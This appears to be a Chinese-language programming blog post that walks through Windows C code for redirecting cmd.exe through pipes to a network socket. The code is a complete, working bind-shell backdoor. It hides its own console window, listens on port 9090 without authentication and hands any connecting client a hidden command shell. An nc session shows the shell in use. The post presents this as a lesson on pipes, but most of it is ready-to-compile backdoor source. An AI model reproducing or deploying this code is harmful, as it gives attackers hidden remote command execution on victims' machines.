源代码如下:

#include <WinSock2.h>
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,"Ws2_32") 

#define	SZBUFFER_SIZE	1024
#define LST_PORT		9090

SOCKET InitializeServer(VOID) {
	WORD version = MAKEWORD(2, 2);
	WSADATA wsaData;
	SOCKET listeningSocket;

	WSAStartup(version, &wsaData);

	if ((listeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
		return NULL;

	// Fill SOCKADDR_IN
	SOCKADDR_IN saServer;

	saServer.sin_family = AF_INET;
	saServer.sin_addr.s_addr = INADDR_ANY;
	saServer.sin_port = htons(LST_PORT);

	// Bind the socket to our local server address
	if (bind(listeningSocket, (LPSOCKADDR) & saServer, sizeof(struct sockaddr)) == SOCKET_ERROR)
		return NULL;

	// Make the socket listen
	if (listen(listeningSocket, 10) == SOCKET_ERROR)
		return NULL;

	// Wait for a client
	return accept(listeningSocket, NULL, NULL);
}

BOOL CreateShellProcess(PROCESS_INFORMATION *pi, HANDLE *hCmdIn, HANDLE *hCmdOut, HANDLE *hSocketIn, HANDLE *hSocketOut, SOCKET *clientSocket) {
	STARTUPINFO si;
	SECURITY_ATTRIBUTES sa;
	SECURITY_DESCRIPTOR sd;

	// Initialize security descriptor
	InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
	SetSecurityDescriptorDacl(&sd, true, NULL, false);

	// Initialize security attrubutes
	sa.lpSecurityDescriptor = &sd;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = true;

	if (!CreatePipe(hCmdIn, hSocketOut, &sa, 0))   //create stdin pipe
		return FALSE;

	if (!CreatePipe(hSocketIn, hCmdOut, &sa, 0))  //create stdout pipe
		return FALSE;

	GetStartupInfo(&si);

	si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_HIDE;
	si.hStdOutput = *hCmdOut;
	si.hStdError = *hCmdOut;
	si.hStdInput = *hCmdIn;
	char app_spawn[] = "C:\\WINDOWS\\system32\\cmd.exe";

	// Spawn the shell process
	if (!CreateProcess(app_spawn, NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE,
			NULL, NULL, &si, pi)) {
		printf("CreateProcess:%d\n", GetLastError());
		return FALSE;
	}
	return TRUE;
}

unsigned long GetNumberOfBytesToRead(HANDLE hSocketIn, char* szBuffer, int szBufferSize, int iLoop) {
	int i;
	unsigned long uRead = 0;
	unsigned long uAvail = 0;

	for (i = 0; i < iLoop; i++) {
		PeekNamedPipe(hSocketIn, szBuffer, szBufferSize, &uRead, &uAvail,
				NULL);
		if (uRead != 0)
			break;
	}
	return uRead;
}

int main(char *argv[], int argc) {
	char szBuffer[SZBUFFER_SIZE];

	// Hide current window
	GetConsoleTitle(szBuffer, sizeof(szBuffer));
	ShowWindow(FindWindow(NULL, szBuffer), SW_HIDE);

	// Pipes handles
	HANDLE hCmdIn, hCmdOut, hSocketIn, hSocketOut;
	PROCESS_INFORMATION pi;

	int nRet;

	// Wait for a client
	SOCKET clientSocket;

	// Launch server
	clientSocket = InitializeServer();
	if (clientSocket == NULL || clientSocket == INVALID_SOCKET)
		exit(-1);

	// Create shell process with stdin/sdtout redirected
	if (!CreateShellProcess(&pi, &hCmdIn, &hCmdOut, &hSocketIn,
			&hSocketOut, &clientSocket))
		exit(-1);

	unsigned long exit = 0;  //process exit code
	unsigned long bread;   //bytes read

	while(TRUE){
		// Check if child is still active
		ZeroMemory(szBuffer, SZBUFFER_SIZE);
		GetExitCodeProcess(pi.hProcess, &exit);
		if (exit != STILL_ACTIVE)
			break;

		while (GetNumberOfBytesToRead(hSocketIn, szBuffer, sizeof(szBuffer),
				10000)) {
			ZeroMemory(szBuffer, SZBUFFER_SIZE);
			ReadFile(hSocketIn, szBuffer, sizeof(szBuffer), &bread, NULL);

			if (send(clientSocket, szBuffer, strlen(szBuffer), 0) == SOCKET_ERROR)
				break;
		}

		ZeroMemory(szBuffer, SZBUFFER_SIZE);
		nRet = recv(clientSocket, szBuffer, sizeof(szBuffer), 0);
		if (nRet == SOCKET_ERROR) {
			printf("Error on recv()");
			return -1;
		}

		int i;
		for (i = 0; i < nRet; i++) {
			WriteFile(hSocketOut, &szBuffer[i], 1, &bread, NULL);
		}
	}
	WSACleanup();
	return 0;
}



在cmd里运行nc来连接9090端口,输出如下:

D:\>nc.exe 127.0.0.1 9090

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

d:\my documents\visual studio 2010\Projects\test\two_pipe>
d:\my documents\visual studio 2010\Projects\test\two_pipe>dir
dir
 驱动器 D 中的卷是 本地磁盘
 卷的序列号是 6C97-9E44

 d:\my documents\visual studio 2010\Projects\test\two_pipe 的目录

2013-07-21  17:07    <DIR>          .
2013-07-21  17:07    <DIR>          ..
2013-07-21  23:27    <DIR>          Debug
2013-07-21  17:26    <DIR>          Release
2013-07-21  23:26             4,021 two_pipe.cpp
2013-07-21  17:07             3,926 two_pipe.vcxproj
2013-07-21  16:19               946 two_pipe.vcxproj.filters
2013-07-21  16:02               143 two_pipe.vcxproj.user
               4 个文件          9,036 字节
               4 个目录 36,606,078,976 可用字节

d:\my documents\visual studio 2010\Projects\test\two_pipe>exit
exit


D:\>



用CreatePipe创建了两个管道:

if (!CreatePipe(hCmdIn, hSocketOut, &sa, 0))   //create stdin pipe
		return FALSE;

	if (!CreatePipe(hSocketIn, hCmdOut, &sa, 0))  //create stdout pipe
		return FALSE;



然后把hCmdIn作为子进程的输入,hCmdOut作为子进程的输出:

si.hStdOutput = *hCmdOut;
	si.hStdError = *hCmdOut;
	si.hStdInput = *hCmdIn;



nc连上去后,hCmdOut输出到hSocketIn,显示到控制台上来,然后从控制台输入命令,如dir,写到hSocketOut去,hSocketOut输入到hCmdIn里去,流程就是这样。

如果学过java,则会好理解一些,java里有socket.getInputStream()和socket.getOutputStream()。

读就是从socket.getInputStream()里读取,写是往socket.getOutputStream()里去。

这里我把变量名命名为hSocketIn和hSocketOut,应该就比较好理解了。